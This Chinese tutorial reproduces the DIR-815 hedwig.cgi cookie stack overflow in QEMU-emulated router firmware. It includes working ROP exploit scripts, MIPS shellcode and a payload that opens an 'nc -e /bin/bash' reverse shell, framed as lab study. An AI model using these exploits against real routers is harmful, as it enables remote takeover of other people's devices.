复现环境及所需工具

漏洞复现环境

Ubuntu 24.04.2 LTS

基础工具配置

基础的Pwn环境 + binwalk + sasquatch + qemu
pwn环境配置推荐YX-hueimie师傅的博客
★pwn 24.04环境搭建保姆级教程★_ubuntu24 pwn-CSDN博客
★pwn 22.04环境搭建保姆级教程★_pwn环境搭建-CSDN博客

安装binwalk可以直接使用apt安装,也可以下载binwalk的源码来自己编译

1
sudo apt install binwalk

sasquatchbinwalk用于解压非标准SquashFS文件系统的关键依赖(入门不安装这个那么我们之后binwalk分解固件会发现里面 squashfs-root 文件夹是空的)
安装方法如下:

1
2
3
4
5
6
# 安装依赖库(关键步骤,否则编译会失败) 
sudo apt-get install build-essential zlib1g-dev liblzma-dev liblzo2-dev
# 克隆仓库并编译
git clone https://github.com/devttys0/sasquatch.git
cd sasquatch
./build.sh

如果遇到下面问题,请按照下面文章中的方法解决

1
2
3
4
5
6
unsquashfs.c:1835:5: error: this ‘if’ clause does not guard... [-Werror=misleading-indentation]
1835 | if(swap)
| ^~
unsquashfs.c:1841:9: note: ...this statement, but the latter is misleadingly indented as if it were guarded by the ‘if
1841 | read_fs_bytes(fd, SQUASHFS_START, sizeof(struct squashfs_super_block),
| ^~~~~~~~~~~~~

binwalk缺少sasquatch报错_unsquashfs.c:1835:5: error: this ‘if’ clause does -CSDN博客

1
2
3
4
git clone --quiet --depth 1 --branch "master" https://github.com/devttys0/sasquatch
cd sasquatch
wget https://github.com/devttys0/sasquatch/pull/51.patch && patch -p1 <51.patch
sudo ./build.sh

上面问题解决可能还存在下面问题

1
LZMA/lzma465/C/LzmaEnc.c: In function ‘LzmaEnc_CodeOneMemBlock’: LZMA/lzma465/C/LzmaEnc.c:2161:19: error: storing the address of local variable ‘outStream’ in ‘*(CLzmaEnc *)pp.rc.outStream’ [-Werror=dangling-pointer=] 2161 | p->rc.outStream = &outStream.funcTable; | ~~~~~~~~~~~~~~~~^~~~~~~~~~~~~~~~~~~~~~ LZMA/lzma465/C/LzmaEnc.c:2145:20: note: ‘outStream’ declared here 2145 | CSeqOutStreamBuf outStream; | ^~~~~~~~~ LZMA/lzma465/C/LzmaEnc.c:2139:45: note: ‘pp’ declared here 2139 | SRes LzmaEnc_CodeOneMemBlock(CLzmaEncHandle pp, Bool reInit, | ~~~~~~~~~~~~~~~^~ cc1: all warnings being treated as errors make: *** [<builtin>: LZMA/lzma465/C/LzmaEnc.o] Error 1

我们需要修改build.sh文件来防止这个错误

1
2
3
4
5
6
7
8
9
#!/bin/bash
# ...(前面部分不变)

# Patch, build, and install the source
cd squashfs4.3
patch -p0 < ../patches/patch0.txt
cd squashfs-tools
export CFLAGS="-Wno-error=dangling-pointer" # 关键修改
make && $SUDO make install

安装完成后就可以使用 binwalk -Me <文件地址> 来对文件进行分解了,进入分解后的文件夹可以看到很多 www bin usr 等等文件夹,最重要的是还有一个 squashfs-root文件夹

分解过程中还可能出现软连接有问题,比如我们进入 squashfs-root 文件夹中我们使用 ls -la 指令

这里就发现了一个软连接缺失,指向的是 我们Ubuntu的 /tmp 目录(实际上应该指向路由器的 /tmp 目录,而不是本机的 /tmp 目录),为了安全考虑,binwalk 将这种软链接都置成了 /dev/null

这里我们需要恢复成正常的样子,如果放任不管可能导致后续的模拟失败
修改方法为
进入到 /usr/lib/python3/dist-packages/binwalk/modules 目录下(如果是apt下载的话)
修改其中的 extractor.py 文件修改为下图所示,当然先保留原本的文件最好,万一改错了还可以再改回来

具体修改方法参照下面两篇博客
IOT环境搭建与固件分析 | 坠入星野的月🌙
https://zikh26.github.io/posts/d1f081a9.html?highlight=mips

修改好后解压就不是 /dev/null 如下图所示

还有一个坑,就是很多时候为了方便我们可能会创建Windows和Ubutnu的共享文件夹,然后将共享文件夹从 /mnt/hgfs/ 目录下使用ln指令链接到Ubuntu桌面或者别的什么地方,这里需要注意,如果这么做了就不要在这个共享文件夹里面使用binwalk,因为这样会导致binwalk无法创建软连接,笔者在这里踩坑花费了很多时间

安装qemu虚拟机

1
2
3
sudo apt-get install qemu 
sudo apt-get install qemu-user-static
sudo apt-get install qemu-system

漏洞基本介绍

本次复现的CNVD漏洞报告地址:国家信息安全漏洞共享平台

根据官方报告可知DIR-645型号的hedwig.cgi中会存在缓冲区溢出的漏洞

固件包(见附件):DIR815A1_FW103b01.bin

分离固件

将我们的固件包放入到我们配置好环境的Ubuntu虚拟机中

使用指令 binwalk -Me DIR815A1_FW103b01.bin 来分解它

分解之后当前文件夹下面会出现一个 _DIR815A1_FW103b01.bin.extracted 文件,也就是我们分解后的程序,根据官网的报告我们已经知道漏洞点在 hedwig.cgi 中所以我们就需要去找这个文件在哪,我们进入我们分解之后的 _DIR815A1_FW103b01.bin.extracted/squashfs-root 中,然后使用find指令来查找,得知它在 _DIR815A1_FW103b01.bin.extracted/squashfs-root/htdocs/web 目录下

进入该目录后我们发现这个 hedwig.cgi 它其实是一个软连接,我们使用 ls -la 指令来查看就会发现它的本体其实是 /htdocs/cgibin 这个文件

下面我们进入该目录并使用checksec指令来查看该文件的保护机制

需要注意的是它的结构为mips而不是我们打pwn常见的amd所以我们需要给IDA安装对应的插件才能分析
插件以及安装方法可以参考下面文章:ida mips插件安装+攻防世界ereere题解-先知社区
笔者使用的为IDA9.0版本,不需要安装该插件,如果上述插件安装失败的话建议安装IDA9.0版本

漏洞点分析

进入 main函数 中找到 hedwig.cgi

进入hedwigcgi_main函数中,发现其中规定了post请求方式
然后我们继续进入到 cgibin_parse_request函数

发现里面利用 getenv函数 获取了了三个环境变量, 但是和我们的漏洞没啥关系,只不过利用漏洞的时候这里需要随便输入一些东西作为它们的参数

这个函数结束后我们回到hedwigcgi_main函数
我们发现hedwigcgi_main函数下面会调用 sess_get_uid函数, 我们进入其中查看

进入到其中也是可以直接看到它获取了我们的环境变量 COOKIE

这里获取到了COOKIE之后赋值给了v3,在后续v3又赋值给了v5,再通过指针的形式传递给v7,在通过对特定符号(比如 = 等符号)的判断对 COOKIE 进行分离

再继续往下看 sobj_add_char函数 的功能就和它的函数名字一样,用于添加字符
而下面这一段程序的作用就是将 = 前面的内容给 v2= 后面的内容给 v5

再往下看,这里判断 v2 的内容是不是 uid 判断之后将 v4 的内容放入 string 中,然后再拼接到 a1 里面

所以我们可以得到的结论就是 sess_get_uid函数 的作用就是将 COOKIEuid= 后面的内容提取出来

再次回到我们的 hedwigcgi_main函数 我们可以看到下面的 sprintf函数,这个 sprintf函数 就是我们的一个漏洞点

通过阅读代码逻辑 sprintf函数 的第四个参数 string 其实就是 v4 ,而这里的 v4 我们通过上面分析可以得知 v4 其实就是传入的 cookie 中的 uid= 后面的内容,这个部分的内容以及长度其实我们是可以控制的, 而我们的 v27 数组的大小为 1024 所以这里可能存在栈溢出

而继续往下阅读代码,在 hedwigcgi_main函数 的 133行同样还有一个 sprintf函数, 同样也是往 v27 这个数组中输入
输入的内容 v20 的内容也是 v4,而 v4 从第一个 sprintf函数 到这第二个 sprintf函数 没有发生改变,所以同样 v4 也是 cookie 中的 uid= 后面的内容,所以利用漏洞的时候我们只需要将 cookieuid= 后面的内容当成 payload 来输入就行了

在利用漏洞之前我们回到漏洞代码之前,我们发现如果想要利用下面的漏洞,我们还需要考虑绕过下面这两个 if

  1. 我们必须要有/var/tmp/temp.xml
  2. 这个 haystack 需要为 非0

绕过 1 的方法: 在我们模拟环境的时候在系统内创建一个/var/tmp文件夹就行
绕过 2 的方法: 在 cgibin_parse_request(sub_409A6C, 0, 0x20000);sub_409A6C 中有对 haystack 进行操作

而进入 sub_409A6C 的条件为使用POST方式传入内容

但是如果需要使用 POST 进行传参就需要进入到 cgibin_parse_request函数 如下图所示的部分
这个部分return进行了跳转,调试的时候我们会知道这里是 sub_403b10函数


那么我们进入sub_403b10函数, 接着跟进进入 sub_402FFC函数

sub_402FFC函数 函数中进入 sub_402B40函数

最终找到下面这段程序

通过调试我们可以知道这里的 v9(v10, v16) 其实就是调用了 sub_409A6C函数

下面我们回到 hedwigcgi_main函数 在第50行处这里有一个 cgibin_parse_request函数 其中调用了 sub_409A6C函数

进入到 cgibin_parse_request 之中

这里如果 v9 变成 -1 那么下面就没有办法执行 return ((&off_42C014)[3 * v16 - 1])(a1, a2, v7, &v14[v17]);
也就是没有办法进入到 sub_403b10函数 那么也就没有办法在 sub_403b10函数 进入 sub_402FFC函数 当中去,所以环境变量REQUEST_URI中也必须有内容才行
在后续的exp中我们将这里的环境变量CONTENT_TYPE设置为application/x-www-form-urlencoded
然后满足这些条件我们就可以利用到第二个 sprintf函数

如果是新手来复现熟悉一下过程的话只需要知道我们可以在exp中通过控制cookie的内容来打栈溢出就可以

MIPS栈溢出的相关知识和工具

我们先来捋一下思路,程序什么保护都没有开启,所以我们可以直接 打ROP链来获得shell,还有就是 MIPS架构 是没办法开启 NX保护 的我们可以构造 shellcode 然后返回 shellcode 的地址执行

当然在实际应用中,最常用的还是通过 ROP + shellcode 的方式来 getshell

构造mips的rop寻找gadget所需的工具

mipsrop

安装方法:IDA插件 MIPSROP的安装和使用方法-CSDN博客

或者使用

ropper

感觉mipsrop更好用

MIPS基础知识

mips架构(32位下的mipsel)的特性

  1. 叶子函数和非叶子函数
    叶子函数 是指没有调用任何别子函数的函数,它的返回地址会存放在 $ra寄存器 中,在叶子函数结束的时候程序会通过 $ra寄存器 进行跳转返回,如下图所示

非叶子函数 是指调用了其他子函数的函数, 它的返回地址 $ra 会在程序开始的时候通过 sw指令 存放到栈上,如下图所示

这是因为它其中调用了别的函数会改变它的 $ra寄存器 的值所以需要依靠栈来保存地址
然后在函数结束的时候再通过 lw指令 取出并跳转返回

  1. 流水线效应
    最为常见的就是 跳转指令 比如 jalr 导致的 分支延迟效应
    分支跳转语句 后面的那条语句叫做 分支延迟槽
    就是说,当它跳转指令填充好跳转地址,但是还没来得及跳转过去的时候,跳转指令的下一条指令(分支延迟槽)就已经执行了
    也就是说mips架构在执行跳转指令的时候会先执行跳转指令的后一条指令,然后再进行跳转

  2. 缓存不一致性
    指的是 指令缓存区--Instruction Cache数据缓存区--Data Cache 的同步需要一定的时间
    比如,我们将一段shellcode写入到栈上,那么此时shellcode还属于数据缓存区,如果我们直接跳转过去执行就会出现一些问题,因此我们需要调用一下 sleep函数 先停一下,让 数据缓存区 能够变成 指令缓冲区 然后再进行跳转这样就不会出错了,虽然直接跳转可能也不会出错但是sleep一下更加稳妥

使用qemu用户态模拟

step1 测量偏移量

进入 squashfs-root 文件夹中
执行下面这条指令

1
cyclic 2000 > payload

并且创建下面这个脚本并运行它

1
2
3
4
5
6
7
8
9
10
# start.sh
#!/bin/bash

# 定义输入数据和相关变量
INPUT="XiDP=Pwner" # 发送的数据内容
LEN=$(echo -n "$INPUT" | wc -c) # 计算内容长度
COOKIE="uid=`cat payload`"

echo $INPUT | qemu-mipsel -L ./ -0 "hedwig.cgi" -E REQUEST_METHOD="POST" -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_COOKIE=$COOKIE -E REQUEST_URI="2333" -g 1234 ./htdocs/cgibin
#-0 参数用于强制设置程序的 argv[0] 值, 后面的 -E 是设置环境变量了 -g 指定端口 echo 可以实现post的功能

开启 另外一个终端,创建下面这个脚本叫做 mygdb.sh, 然后执行指令 gdb-multiarch -x mygdb.sh

1
2
3
4
5
# mygdb.sh
set architecture mips
set follow-fork-mode child
set detach-on-fork off
target remote 127.0.0.1:1234

如果我们没有搞错什么,那么我们将得到下面这幅画面

通过图中这个地址被修改的值我们可以计算出我们所需要的偏移量, 得到偏移量为1009

知道溢出量后我们还需要寻找libc的基地址

step2 计算libc基地址

这么我们是使用 qemu用户态 来模拟路由器程序,这时我们直接在 pwndbg 中使用 vmmap指令 是找不到 libc_base 的,大致会出现下图所示情况,我们在图中是看不到 libc.so.0 的初始地址的

所以我们需要在程序里面找到一个libc函数的真实地址,然后利用这个函数相对于libc基地址的偏移量来求出libc的基地址
我们在下面这两个地方打上断点,那么在跳转的时候我们就可以得知memset函数的真实地址了,而知道真实地址我们还需要memset函数相对于libc基地址的偏移量

(这里为什么选用两个memset函数? 这里因为第一次是跳转到延迟绑定的地址,第二次延迟绑定结束才是真实是memset函数地址)

下面使用gdb运行到此处查看memset的真实地址
第一次得到的是延迟绑定的地址,t9中存放

第二次得到的才是真实地址


由此可得,memset函数 的地址为 0x2b333a20

然后我们查看软连接,发现程序的libc文件本体其实是 libuClibc-0.9.30.1.so 文件

将该文件拖入IDA中进行分析,得知 memset 的偏移量为 0x034A20

下面就可以计算出 libc_base = 0x2b333a20 - 0x034A20 = 0x2B2FF000
然后还可以找一下system函数的偏移量为 0x53200

step3 编写并运行exp

接着我们就可以开始编写exp了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')
libc_base = 0x2B2FF000 # 这里的libc_base每个人都是不一样的需要修改

payload = b'a'*(1009-36)
payload += p32(libc_base + 0x53200 - 1) # s0  system_addr - 1
payload += p32(libc_base + 0x159F4) # s1  move $t9, $s0
payload += b'a'*4                   #s2
payload += p32(libc_base + 0x5A448) # s3  /bin/sh
payload += b'a'*(4*2)               #s4-s5
payload += p32(libc_base + 0x32A98) # s6  addiu $s0, 1
payload += b'a'*(4*2)               #s7-s8
payload += p32(libc_base + 0x13F8C) # ret_addr  move $a0, $s3

payload = b"uid=" + payload
post_content = "XiDP=Pwner"
io = process(b"""
    qemu-mipsel -L ./ \
    -0 "hedwig.cgi" \
    -E REQUEST_METHOD="POST" \
    -E CONTENT_LENGTH=10 \
    -E CONTENT_TYPE="application/x-www-form-urlencoded" \
    -E HTTP_COOKIE=\"""" + payload + b"""\" \
    -E REQUEST_URI="2333" \
    -g 1234 ./htdocs/cgibin
""", shell = True)

io.send(post_content)
io.interactive()


'''
.text:00013F8C                 move    $a0, $s3
.text:00013F90                 move    $t9, $s6
.text:00013F94                 jalr    $t9
.text:00013F98                 move    $a1, $s1

.text:000159F4                 move    $t9, $s0
.text:000159F8                 jalr    $t9 ; mempcpy
.text:000159FC                 addiu   $a1, (asc_599FC - 0x60000)  # "/"

.text:00032A98                 addiu   $s0, 1
.text:00032A9C                 li      $s2, 1
.text:00032AA0
.text:00032AA0 loc_32AA0:                               # CODE XREF: sub_32850:loc_32A88↑j
.text:00032AA0                 move    $t9, $s1
.text:00032AA4                 jalr    $t9
'''

上述所使用的exp为winmt师傅在其博客中所写,winmt师傅在博客中表示该exp无法打通qemu用户态,但是我本地打了一下发现如果直接打是无法打通的,但是如果加上一个pause,然后gdb-multiarch去连接,调试到最后却是可以打通的,如下图,有点怪,不知道啥原因

但是下面的shellcode版本是不论如何都可以打通的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')

libc_base = 0x2B2FF000 # 这里的libc_base每个人都是不一样的需要修改

payload = b'a'*0x3cd
payload += b'a'*4
payload += p32(libc_base + 0x436D0) # s1 move $t9, $s3 (=> lw... => jalr $t9)
payload += b'a'*4
payload += p32(libc_base + 0x56BD0) # s3 sleep
payload += b'a'*(4*5)
payload += p32(libc_base + 0x57E50) # ra li $a0, 1 (=> jalr $s1)

payload += b'a'*0x18
payload += b'a'*(4*4)
payload += p32(libc_base + 0x37E6C) # s4 move $t9, $a1 (=> jalr $t9)
payload += p32(libc_base + 0x3B974) # ra addiu $a1, $sp, 0x18 (=> jalr $s4)

shellcode = asm('''
slti $a2, $zero, -1
li $t7, 0x69622f2f
sw $t7, -12($sp)
li $t6, 0x68732f6e
sw $t6, -8($sp)
sw $zero, -4($sp)
la $a0, -12($sp)
slti $a1, $zero, -1
li $v0, 4011
syscall 0x40404
''')
payload += b'a'*0x18
payload += shellcode

payload = b"uid=" + payload
post_content = "XiDP=Pwner"
io = process(b"""
qemu-mipsel -L ./ \
-0 "hedwig.cgi" \
-E REQUEST_METHOD="POST" \
-E CONTENT_LENGTH=11 \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E HTTP_COOKIE=\"""" + payload + b"""\" \
-E REQUEST_URI="2333" \
./htdocs/cgibin
""", shell = True)
io.send(post_content)
io.interactive()

运行之后效果如下图所示

使用qemu系统态模拟

step1 下载对应内核及镜像

想要使用qemu系统态模拟相对就要复杂一点了,我们需要下载对应的 内核 以及 镜像
下载地址: Index of /~aurel32/qemu/mipsel
到上面这个网站下下 debian_squeeze_mipsel_standard.qcow2镜像以及 vmlinux-3.2.0-4-4kc-malta 内核
如下图所示

step2 创建网桥

开始模拟之前我们需要开启物理机的ip转发功能,以及创建网桥来连接到qemu虚拟机

首先安装网络配置工具

1
apt-get install bridge-utils uml-utilities

然后修改 interfaces 文件

1
sudo vim /etc/network/interfaces

一些新版本的Ubuntu里面可能没有 interfaces 这个问题
我们可以使用下面指令来安装

1
sudo apt install ifupdown

修改 interfaces 文件内容如下(修改之前可以先备份一份, sudo cp /etc/network/interfaces /etc/network/interfaces.brk)
下面使用 ip addr 指令来查看我们系统使用的是什么接口 一般是 eth0ens33

eth0如下:

1
2
3
4
5
6
7
8
9
10
11
12
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet dhcp
up ifconfig eth0 0.0.0.0 up

auto br0
iface br0 inet dhcp

bridge_ports eth0
bridge_maxwait 0

ens33如下:

1
2
3
4
5
6
7
8
9
10
11
12
auto lo
iface lo inet loopback

auto ens33
iface ens33 inet dhcp
up ifconfig ens33 0.0.0.0 up

auto br0
iface br0 inet dhcp

bridge_ports ens33
bridge_maxwait 0

这里修改完之后可以使用指令 sudo /etc/init.d/networking restart 来重启一下网络配置
再备份一次 sudo cp /etc/network/interfaces /etc/network/interfaces.brk2
备份好之后我们可以写一个脚本用来在两个不同的版本之间切换
我写的脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# net_cg 
#!/bin/bash

# 功能说明:切换网络配置文件并重启服务
# 用法:net_cg [0|1]
# 参数:0 - 使用 interfaces.brk;1 - 使用 interfaces.brk2

case "$1" in
0)
echo "正在切换至 interfaces.brk 配置..."
sudo rm /etc/network/interfaces
sudo cp /etc/network/interfaces.brk /etc/network/interfaces
sudo /etc/init.d/networking restart
echo "配置切换完成!"
;;
1)
echo "正在切换至 interfaces.brk2 配置..."
sudo rm /etc/network/interfaces
sudo cp /etc/network/interfaces.brk2 /etc/network/interfaces
sudo /etc/init.d/networking restart
echo "配置切换完成!"
;;
"")
# 无参数时提示用法
echo "用法:$0 [0|1]"
echo " 0 - 使用 interfaces.brk 配置"
echo " 1 - 使用 interfaces.brk2 配置"
exit 1
;;
*)
# 非法参数报错
echo "错误:无效参数 '$1'"
echo "支持的参数:0 或 1"
exit 1
;;
esac

/etc/qemu-ifup 文件中写入下面内容(如果没有则需要创建,然后使用 sudo chmod a+x /etc/qemu-ifup)
注意是写入不是改成下面内容

1
2
3
4
5
6
7
#!/bin/sh
echo "Executing /etc/qemu-ifup"
echo "Bringing up $1 for bridge mode..."
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0..."
sudo /sbin/brctl addif br0 $1
sleep 2

还需要开启物理机的转发功能(写成脚本如下)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#! /bin/sh
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT

这里做完之后可以使用指令 ip addr 来查看一下虚拟网卡是否已经准备就绪

然后在到/etc文件中创建一个 /qemu/bridge.conf 在这个文件中写入 allow br0

所有东西成功后进行保存,然后重启我们的Ubuntu系统

step3 配置qemu虚拟机网络设置

我们在第一步已经下载好了我们所需要的 内核镜像
下面我们进入存放它们的文件夹,并且创建下面这个脚本然后运行

1
2
3
4
5
6
7
8
# start.sh
#!/bin/bash
sudo qemu-system-mipsel \
-M malta -kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-net nic,macaddr=00:16:3e:00:00:01 \
-net tap

执行后会出现一个黑色小窗口,然后里面在加载程序,最后可能会有一个 fail 但是不要紧,不影响我们复现漏洞,太多 fail 可能就有点问题了需要问AI检查一下

qemu 启动的虚拟机初始密码为 root/root

进入之后第一步需要使用 nano 来修改 /etc/network/interfaces

1
nano /etc/network/interfaces

修改其中的 eth0eth1
也就是下面部分

1
2
3
4
5
6
7
8
9
10
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
allow-hotplug eth1
iface eth1 inet dhcp

修改之后执行 ifup eth1 启用eth1接口, 然后我们再使用 ip addr 指令,会有类似下面的输出,从这里获得qemu虚拟机的ip地址,同理在Ubuntu物理机上使用这个 ip addr 指令同样可以得到Ubuntu物理机的ip地址

1
2
3
2: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
link/ether 00:16:3e:00:00:01 brd ff:ff:ff:ff:ff:ff
inet 192.168.xxx.xxx/24 brd 192.168.xx.xx scope global eth1

执行 ifup eth1 后我们就可以用Ubuntu物理机来连接我们的qumu虚拟机了

1
2
3
4
5
# 低版本Ubutnu
ssh root@192.168.xx.xx

# 高版本Ubutnu
ssh -o HostKeyAlgorithms=ssh-rsa root@192.168.xx.xx

step4 开启环境

然后将在Ubunut物理机上使用scp指令来向qemu虚拟机传输文件
将路由器文件分解得到的 /squashfs-root 文件传入到 qemu虚拟机的 /root 文件夹下面

1
2
3
4
5
6
7
# 低版本Ubutnu
scp -r ./squashfs-root root@192.168.xx.xx:/root/
scp -r <本地Ubuntu文件地址> root@192.168.xx.xx:<qemu虚拟机文件地址>

# 高版本Ubuntu
scp -o HostKeyAlgorithms=ssh-rsa -r ./squashfs-root root@192.168.xx.xx:/root/
scp -o HostKeyAlgorithms=ssh-rsa -r <本地Ubuntu文件地址> root@192.168.xx.xx:<qemu虚拟机文件地址>

在qemu虚拟机的 /squashfs-root 文件中使用 nano指令 创建一个 http_conf 文件用于开启httpd服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
Umask 026
PIDFile /var/run/httpd.pid
LogGMT On #开启log
ErrorLog /log #log文件

Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}

Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
}
}


Server
{
ServerName "Linux, HTTP/1.1, "
ServerId "1234"
Family inet
Interface eth1 #对应qemu仿真路由器系统的网卡(如果是按照上面操作来的话就不用改)
Address 192.168.xx.xx #qemu仿真路由器系统的IP(需要改成自己的qemu虚拟机ip地址)
Port "1234" #对应未被使用的端口(一般也是不用改)
Virtual
{
AnyHost
Control
{
Alias /
Location /htdocs/web
IndexNames { index.php }
External
{
/usr/sbin/phpcgi { router_info.xml }
/usr/sbin/phpcgi { post_login.xml }
}
}
Control
{
Alias /HNAP1
Location /htdocs/HNAP1
External
{
/usr/sbin/hnap { hnap }
}
IndexNames { index.hnap }
}
}
}

运行路由器程序执行下面脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#init.sh
#!/bin/bash
echo 0 > /proc/sys/kernel/randomize_va_space
cp http_conf /
cp sbin/httpd /
cp -rf htdocs/ /
mkdir /etc_bak
cp -r /etc /etc_bak
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/
cd /
rm -rf /htdocs/web/hedwig.cgi
rm -rf /usr/sbin/phpcgi
rm -rf /usr/sbin/hnap
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap
./httpd -f http_conf

运行之后我们可以用Ubuntu自带的浏览器去访问

结束服务准备退出需要还原qemu虚拟机的系统架构,否则会导致qemu虚拟机损坏退出后无法开机,执行下面脚本

1
2
3
4
5
#fin.sh
#!/bin/bash
rm -rf /etc
mv /etc_bak/etc /etc
rm -rf /etc_bak

调试的话需要用到 gdbserver
下面这个是github项目,已经编译完成的程序(但是作者好像命名错误了把mipsel打成了mipsle, 所以如果使用这个下面的脚本也需要改一改)
embedded-tools/binaries/gdbserver at master · rapid7/embedded-tools

1
2
3
4
5
6
7
8
9
10
11
12
13
#run.sh
#!/bin/bash
export CONTENT_LENGTH="10"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat payload`"
export REQUEST_METHOD="POST"
export REQUEST_URI="2333"
echo "User=pwner"|./gdbserver.mipsel 192.168.xx.xx:6666 /htdocs/web/hedwig.cgi
unset CONTENT_LENGTH
unset CONTENT_TYPE
unset HTTP_COOKIE
unset REQUEST_METHOD
unset REQUEST_URI

对于这个run.sh脚本我有些疑问,winmt师傅在博客中说这里的ip地址需要填Ubuntu物理机的地址,但是我尝试之后失败了,我改为填写qemu虚拟机的地址然后运行,用Ubuntu虚拟机使用 target remote <qemu虚拟机ip地址>:6666 却可以连接成功,不知道为什么,但是没关系,只要能连上调试就行了

这里设置qemu虚拟机的的ip地址以及端口,之后我们同样可以使用上面的gdb脚本来进行连接

1
2
3
4
5
6
# mygdb.sh
set architecture mips
set follow-fork-mode child
set detach-on-fork off
file <调试文件地址> # 可以不要
target remote 192.168.xx.xx:6666

我们需要调试来确定远程的libc_base

这里我们只需要运行上面的 init.sh,打开浏览器确认服务开启后,然后运行脚本 run.sh ,随后在Ubuntu虚拟机中使用 gdb-multiarch 去连接即可
远程我们可以直接使用vmmap来查看libc基地址, 得到基地址为 0x77f34000 如果我们使用的内核和镜像相同,那么我们的libc基地址基本上也是相同的

打qemu虚拟机想要拿到shell就需要利用到反弹shell,我们需要在Ubutnu虚拟机中开启一个终端用于接收反弹shell

1
nc -lvnp 8888

下面构建exp脚本,攻击192.168.xx.xx:1234使其执行 system('nc -e /bin/bash 192.168.xx.xxx 8888') 注意这里是Ubuntu物理机的IP

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
import requests
context(os = 'linux', arch = 'mips', log_level = 'debug')

cmd = b'nc -e /bin/bash 192.168.xx.xxx 8888' # 这里是Ubuntu物理机的地址

libc_base = 0x77f34000

payload = b'a'*0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1
payload += p32(libc_base + 0x169C4) # s1 addiu $s2, $sp, 0x18 (=> jalr $s0)
payload += b'a'*(4*7)
payload += p32(libc_base + 0x32A98) # ra addiu $s0, 1 (=> jalr $s1)
payload += b'a'*0x18
payload += cmd

url = "http://192.168.xx.xx:1234/hedwig.cgi" # 这里是qemu虚拟机的地址
data = {"XiDP" : "pwner"}
headers = {
"Cookie" : b"uid=" + payload,
"Content-Type" : "application/x-www-form-urlencoded",
"Content-Length": "10"
}
res = requests.post(url = url, headers = headers, data = data)
print(res)

然后我们就可以在我们执行 nc -lvnp 8888 的终端拿到shell了,当然前提是exp无误

成功打通如下图所示

参考:
DIR-815 栈溢出漏洞-先知社区
[原创] 从零开始复现 DIR-815 栈溢出漏洞-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com
firmAE模拟仿真DIR815栈溢出漏洞复现-先知社区